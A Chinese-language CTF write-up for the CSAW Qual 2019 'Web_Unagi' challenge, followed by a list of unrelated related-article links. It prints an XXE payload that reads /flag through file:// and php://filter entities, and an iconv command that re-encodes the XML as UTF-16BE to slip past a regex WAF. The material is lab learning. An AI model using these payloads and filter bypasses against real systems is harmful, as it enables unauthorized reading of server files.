当前位置: 首页 > news >正文

[CSAWQual 2019]Web_Unagi - 文件上传+XXE注入(XML编码绕过)

[CSAWQual 2019]Web_Unagi

  • 1 解题流程
    • 1.1 分析
    • 1.2 解题
  • 2 思考总结

1

1 解题流程

这篇博客讲了xml进行编码转换绕过的原理:https://www.shawroot.cc/156.html

1.1 分析

  1. 页面可以上传,上传一句话php失败,点击示例发现是xml格式,那么就是XXE注入了
    2
  2. 点击about得到flag位置: Flag is located at /flag, come get it

1.2 解题

  1. 编写XXE注入文件,以xml结尾
    <?xml version='1.0'?>
    <!DOCTYPE users [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag" >]>
    或
    <!ENTITY xxe SYSTEM "file:///flag" >]>
    <users><user><username>bob</username><password>passwd2</password><name>Bob</name><email>bob@fakesite.com</email>  <group>CSAW2019</group><intro>&xxe;</intro></user>
    </users>
    
  2. 尝试上传,发现还是被拦截了,这时候可以查询如何绕过WAF
    xml文档不仅可以用UTF-8编码,也可以用UTF-16、UTF-32和EBCDIC编码。
    在这些编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
    在linux中使用命令将xml转换为16进制
    cat 1.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml
  3. 上传即可获取flag
    flag{5325a120-326c-4829-8778-22c54362a7b4}

2 思考总结

编写xml注意点:
1、属性名大小写要区分
2、flag很长,放在其他属性中只能输出部分,而intro意为introduce个人简介,可以输出长内容

http://www.lryc.cn/news/188572.html

相关文章:

  • ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost‘ (10061)的问题解决
  • 什么是函数库和动态链接库?
  • POM配置
  • 微电网单台并网逆变器PQ控制matlab仿真模型
  • 计算机毕业设计选什么题目好?springboot 旅游网站
  • Android Fragment中使用Arouter跳转到Activity后返回Fragment不回调onActivityResult
  • hive add columns 后查询不到新字段数据的问题
  • 【linux】权限相关问题
  • “.NET视频总结:认识框架的结构和组件,掌握开发工具的奥妙“一
  • 02-RocketMQ开发模型
  • 第83步 时间序列建模实战:Catboost回归建模
  • 开源任务调度框架
  • Android Native 开发 要点记录
  • 数据库中查询所有表信息,查询所有字段信息
  • 改进智能优化算法常用指标一键导出为EXCEL,最优值,平均值,标准差,最差值,中位数,秩和检验,箱线图...
  • 在asp.net中,实现类似安卓界面toast的方法(附更多弹窗样式)
  • 一站式解决方案:Qt 跨平台开发灵活可靠
  • 将cpu版本的pytorch换成gpu版本
  • Ubuntu安装QQ
  • 【Python】实现excel文档中指定工作表数据的更新操作
  • 力扣(LeetCode)2731. 移动机器人(C++)
  • vite和webpack
  • MinIO图片正常上传不可查看,MinIO通过页面无法设置桶为public
  • Linux 指令心法(七)`cat` 查看、合并和创建文本文件
  • 解决docker开启MySQL的binlog无法成功。docker内部报错:mysql: [ERROR] unknown variable
  • c,python ,java,c++ c#在控制台打印彩色文本
  • MySQL数据库技术笔记(5)
  • python生成随机数
  • Twitter优化秘籍:置顶、列表、受众增长
  • vscode更改为中文版本